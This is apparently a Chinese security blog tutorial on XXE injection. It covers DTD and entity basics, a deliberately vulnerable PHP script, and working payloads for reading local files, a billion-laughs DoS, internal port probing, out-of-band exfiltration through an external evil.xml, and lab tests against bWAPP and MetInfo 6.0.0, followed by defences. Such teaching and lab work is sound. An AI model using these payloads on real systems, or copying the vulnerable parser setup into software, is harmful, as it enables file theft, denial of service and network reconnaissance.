本文系pwn2web原创,转载请说明出处php
XXE 漏洞,全名为XML External Entity Injection,因为程序在解析输入的XML数据时,解析了攻击者精心构造的外部实体。html
一 预备知识web
0x01 XML类型文件结构sql
XML设计用来传送及携带数据信息,不用来表现或展现数据,HTML则用来表现数据,因此XML用途的焦点是它说明数据是什么,以及携带数据信息。浏览器
XML定义结构、存储信息、传送信息。主要格式以下:服务器
<!--XML申明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
下例为小张发送给大元的便条,存储为XML。架构
<?xml version="1.0"?> <小纸条> <收件人>大元</收件人> <發件人>小張</發件人> <主題>問候</主題> <具體內容>早啊,飯吃了沒? </具體內容> </小纸条>
每一个XML文档都由XML序言开始,在前面的代码中的第一行就是XML序言,<?xml version="1.0"?>。这一行代码会告诉解析器或浏览器这个文件应该按照XML规则进行解析。app
可是,根元素到底叫<小纸条>仍是<小便条>,则是由文档类型定义(DTD)或XML纲要(XML Schema)定义的。若是DTD规定根元素必须叫<小便条>,那么若写做<小纸条>就不符合要求。这种不符合DTD或XML纲要的要求的XML文档,被称做不合法的XML,反之则是合法的XML。dom
XML文件的第二行并不必定要包含文档元素;若是有注释或者其余内容,文档元素能够迟些出现。工具
DTD文档关键字:
0x02 文档类型定义(DTD)与实体
DTD能够分为内部定义和外部引用。
内部:<!DOCTYPE 根元素 [元素声明]>
外部:<!DOCTYPE 根元素 SYSTEM "文件名">
实体主要分为如下几种:
命名实体:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]> <value>&xxe;</value>
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI">
字符实体
示例:
参数实体&外部实体
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
命名实体&外部实体&参数实体
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>
其中evil.xml文件内容为:
<!ENTITY %all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,而后又调用参数实体all,接着调用命名实体send
0x03 外部实体
XXE漏洞主要利用了DTD引用外部实体致使的漏洞,咱们总结一下URL中能写哪些外部实体:
二 XXE漏洞
0x01 漏洞探测
首先检测xml是否被解析,经过在本地建立xml并输入如下内容,双击点开查看是否能成功显示出来name 的内容
检测是否支持外部实体解析,建立xml文件远程引用index.php文件,双击打开能够看到文件回显显示在上面
访问服务器日志发现确实引用了index.php文件
0x02 漏洞应用
xxe利用主要有:
0x03 基础实验
实验环境:winxp虚拟机
VMWARE 15.5 PRO
实验工具:phpstudy2016
实验测试脚本:
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
注意,这里第一行开启了实体引用的功能,网上不少博客的脚本没有这一行,致使脚本复现不成功
实验一 任意文件读取
咱们编写脚本读取咱们建立1.txt文件,该文件内容为文字“123”。
脚本以下:
实验二 DOS攻击
这里只附上示例poc
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" ]> <lolz>&lol9;</lolz>
这个poc是著名的“billion laugh”攻击,该攻击经过建立一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而致使 DDoS 攻击。
实验三 探测内网信息
这里主要介绍端口扫描,其余的可参考https://www.freebuf.com/articles/web/177979.html
脚本:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root>
0x04 XXE漏洞实战
一、BWAPP测试
这里使用BWAPP虚拟机来进行实战测试:你们能够从 https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download 下载到该虚拟机,虚拟机导入后使用NAT转换,查看IP地址,本机访问
点击Any bugs?进行抓包,发送到Repeater
由Content-type得知,就是将接收到的XML文件post给xxe-2.php
这里直接用payload读取就好:
或者进行内网探测:
首先探测开放的80端口,返回信息以下
再探测未开放的79端口:
报错信息不同。
二、选取Metinfo6.0.0进行XXE漏洞实战攻击测试
米拓企业建站系统主要用于搭建企业网站,采用PHP+Mysql架构,全站内置了SEO搜索引擎优化机制,支持用户自定义界面语言(全球各类语言),支持可视化傻瓜式操做、拥有企业网站经常使用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情连接、网站地图、会员与权限管理)。
下载地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
将解压后的目录放在phpstudy 的WWW目录下,访问安装便可,安装好以下图:
按照漏洞的说明,问题发生在漏洞文件app/system/pay/web/pay.class.php
未禁止外部实体加载,测试是否存在外部实体引用,输入
<!DOCTYPE note[ <!ENTITY quan SYSTEM "http://http://192.168.1.126/1.txt"> ]> <data>&quan;</data>
这里192.168.1.126是另外一个虚拟机开启的web服务,并在根目录下放置了一个1.txt文件,咱们利用burp访问并设置payload:
咱们去打开192.168.1.126网站的服务器访问日志看看是否访问到了:
192.168.1.134是攻击者主机,这就意味着成功的引用了外部实体
三 漏洞防护
使用相应开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC